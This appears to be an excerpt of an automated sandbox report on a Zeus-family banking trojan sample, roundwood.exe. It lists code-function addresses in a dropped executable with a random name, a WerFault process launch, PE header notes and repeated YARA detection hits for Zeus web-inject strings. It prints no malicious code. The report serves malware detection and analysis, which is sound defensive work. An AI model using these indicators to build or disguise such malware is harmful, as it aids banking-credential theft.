Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E0CEB05_2_00E0CEB0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E18FC35_2_00E18FC3
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E057A05_2_00E057A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E077805_2_00E07780
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E0E7705_2_00E0E770
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_001FCEC18_2_001FCEC1
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E788608_2_00E78860
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E8D0608_2_00E8D060
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EAF8608_2_00EAF860
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EA58408_2_00EA5840
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EB40108_2_00EB4010
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EB81C38_2_00EB81C3
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EA61A08_2_00EA61A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EAF1908_2_00EAF190
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E7E1408_2_00E7E140
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E982E08_2_00E982E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EB12F08_2_00EB12F0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EABAB08_2_00EABAB0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EA43A08_2_00EA43A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EA63808_2_00EA6380
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EAD3708_2_00EAD370
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E72CE08_2_00E72CE0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EA3DC08_2_00EA3DC0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E786408_2_00E78640
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EAAE408_2_00EAAE40
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E9EE308_2_00E9EE30
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EA9FF08_2_00EA9FF0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EAFF308_2_00EAFF30
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EADF008_2_00EADF00
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00EAC7108_2_00EAC710
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C540E08_2_00C540E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C851C08_2_00C851C0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C92A4D8_2_00C92A4D
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C59A408_2_00C59A40
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C8C2408_2_00C8C240
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C802308_2_00C80230
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C8B3F08_2_00C8B3F0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C8F3008_2_00C8F300
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C8DB108_2_00C8DB10
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C913308_2_00C91330
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C86C408_2_00C86C40
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C59C608_2_00C59C60
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C6E4608_2_00C6E460
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C90C608_2_00C90C60
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C954108_2_00C95410
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C905908_2_00C90590
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C875A08_2_00C875A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C5F5408_2_00C5F540
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C796E08_2_00C796E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C8CEB08_2_00C8CEB0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C98FC38_2_00C98FC3
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C877808_2_00C87780
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C857A08_2_00C857A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C8E7708_2_00C8E770
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: String function: 001F1BB0 appears 33 times
Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4268 -ip 4268
Source: roundwood.exeStatic PE information: invalid certificate
Source: roundwood.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: 19.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.1452000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.38.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.18.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 12.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.14b0000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 38.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2900000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.2915c00.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.2d63c00.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.22.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.39.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.10.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 8.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.c52000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.roundwood.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 19.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.14b0000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 23.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2922000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.roundwood.exe.6bff18.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.roundwood.exe.6bf318.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.14.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.2915c00.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 27.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2da0000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.21.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 15.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.960000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 38.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2900000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
